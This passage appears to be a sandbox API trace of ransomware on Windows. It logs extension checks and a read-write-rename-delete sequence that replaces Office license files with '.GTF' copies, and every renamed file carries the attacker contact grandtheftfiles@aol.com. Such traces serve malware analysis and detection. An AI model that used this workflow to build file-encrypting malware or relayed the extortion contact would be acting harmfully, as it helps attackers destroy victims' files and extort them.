	[0179.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.115] lstrlenW (lpString=".doc") returned 4
	[0179.115] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.115] lstrlenW (lpString=".docx") returned 5
	[0179.115] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.115] lstrlenW (lpString=".pdf") returned 4
	[0179.115] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.115] lstrlenW (lpString=".xls") returned 4
	[0179.115] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.115] lstrlenW (lpString=".xlsx") returned 5
	[0179.115] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.115] lstrlenW (lpString=".ppt") returned 4
	[0179.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".zip") returned 4
	[0179.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".rar") returned 4
	[0179.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".bz2") returned 4
	[0179.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".7z") returned 3
	[0179.116] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".dbf") returned 4
	[0179.116] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".1cd") returned 4
	[0179.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".jpg") returned 4
	[0179.116] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".doc") returned 4
	[0179.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".docx") returned 5
	[0179.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.116] lstrlenW (lpString=".pdf") returned 4
	[0179.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".xls") returned 4
	[0179.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString=".xlsx") returned 5
	[0179.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.116] lstrlenW (lpString=".ppt") returned 4
	[0179.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.116] lstrlenW (lpString=".zip") returned 4
	[0179.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.117] lstrlenW (lpString=".rar") returned 4
	[0179.117] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.117] lstrlenW (lpString=".bz2") returned 4
	[0179.117] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.117] lstrlenW (lpString=".7z") returned 3
	[0179.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.117] lstrlenW (lpString=".dbf") returned 4
	[0179.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.117] lstrlenW (lpString=".1cd") returned 4
	[0179.117] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0179.117] lstrlenW (lpString=".jpg") returned 4
	[0179.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.117] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.117] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38
	[0179.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.168] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26541) returned 1
	[0179.168] CloseHandle (hObject=0x3dc) returned 1
	[0179.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0179.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.169] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.169] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.169] GetLastError () returned 0x0
	[0179.169] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0179.227] WriteFile (in: hFile=0x548, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0179.228] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.228] WriteFile (in: hFile=0x548, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x120, lpOverlapped=0x0) returned 1
	[0179.228] SetEndOfFile (hFile=0x548) returned 1
	[0179.228] CloseHandle (hObject=0x548) returned 1
	[0179.228] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.228] SetEndOfFile (hFile=0x3dc) returned 1
	[0179.232] CloseHandle (hObject=0x3dc) returned 1
	[0179.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1
	[0179.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.233] lstrlenW (lpString=".doc") returned 4
	[0179.233] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.233] lstrlenW (lpString=".docx") returned 5
	[0179.233] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.233] lstrlenW (lpString=".pdf") returned 4
	[0179.233] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.233] lstrlenW (lpString=".xls") returned 4
	[0179.234] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".xlsx") returned 5
	[0179.234] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.234] lstrlenW (lpString=".ppt") returned 4
	[0179.234] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString=".zip") returned 4
	[0179.234] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".rar") returned 4
	[0179.234] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".bz2") returned 4
	[0179.234] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".7z") returned 3
	[0179.234] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString=".dbf") returned 4
	[0179.234] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString=".1cd") returned 4
	[0179.234] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString=".jpg") returned 4
	[0179.234] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.234] lstrlenW (lpString=".doc") returned 4
	[0179.234] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".docx") returned 5
	[0179.234] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.234] lstrlenW (lpString=".pdf") returned 4
	[0179.234] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".xls") returned 4
	[0179.234] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.234] lstrlenW (lpString=".xlsx") returned 5
	[0179.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.235] lstrlenW (lpString=".ppt") returned 4
	[0179.235] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.235] lstrlenW (lpString=".zip") returned 4
	[0179.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString=".rar") returned 4
	[0179.235] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString=".bz2") returned 4
	[0179.235] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString=".7z") returned 3
	[0179.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.235] lstrlenW (lpString=".dbf") returned 4
	[0179.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.235] lstrlenW (lpString=".1cd") returned 4
	[0179.235] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0179.235] lstrlenW (lpString=".jpg") returned 4
	[0179.235] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.235] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.235] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37
	[0179.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.245] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11199) returned 1
	[0179.245] CloseHandle (hObject=0x3dc) returned 1
	[0179.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220
	[0179.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.246] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.246] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.247] GetLastError () returned 0x0
	[0179.247] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0179.290] WriteFile (in: hFile=0x548, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0179.291] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.291] WriteFile (in: hFile=0x548, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.291] SetEndOfFile (hFile=0x548) returned 1
	[0179.291] CloseHandle (hObject=0x548) returned 1
	[0179.291] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.291] SetEndOfFile (hFile=0x3dc) returned 1
	[0179.328] CloseHandle (hObject=0x3dc) returned 1
	[0179.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.358] lstrlenW (lpString=".doc") returned 4
	[0179.358] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.358] lstrlenW (lpString=".docx") returned 5
	[0179.358] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.358] lstrlenW (lpString=".pdf") returned 4
	[0179.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.358] lstrlenW (lpString=".xls") returned 4
	[0179.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".xlsx") returned 5
	[0179.359] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.359] lstrlenW (lpString=".ppt") returned 4
	[0179.359] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString=".zip") returned 4
	[0179.359] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".rar") returned 4
	[0179.359] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".bz2") returned 4
	[0179.359] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".7z") returned 3
	[0179.359] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString=".dbf") returned 4
	[0179.359] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString=".1cd") returned 4
	[0179.359] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString=".jpg") returned 4
	[0179.359] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.359] lstrlenW (lpString=".doc") returned 4
	[0179.359] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".docx") returned 5
	[0179.359] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.359] lstrlenW (lpString=".pdf") returned 4
	[0179.359] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".xls") returned 4
	[0179.359] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.359] lstrlenW (lpString=".xlsx") returned 5
	[0179.359] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.359] lstrlenW (lpString=".ppt") returned 4
	[0179.359] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.360] lstrlenW (lpString=".zip") returned 4
	[0179.360] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString=".rar") returned 4
	[0179.360] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString=".bz2") returned 4
	[0179.360] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString=".7z") returned 3
	[0179.360] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.360] lstrlenW (lpString=".dbf") returned 4
	[0179.360] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.360] lstrlenW (lpString=".1cd") returned 4
	[0179.360] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0179.360] lstrlenW (lpString=".jpg") returned 4
	[0179.360] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.360] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.360] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38
	[0179.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.362] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26541) returned 1
	[0179.362] CloseHandle (hObject=0x428) returned 1
	[0179.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0179.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.362] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.362] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.364] GetLastError () returned 0x0
	[0179.364] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0179.366] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x67b0, lpOverlapped=0x0) returned 1
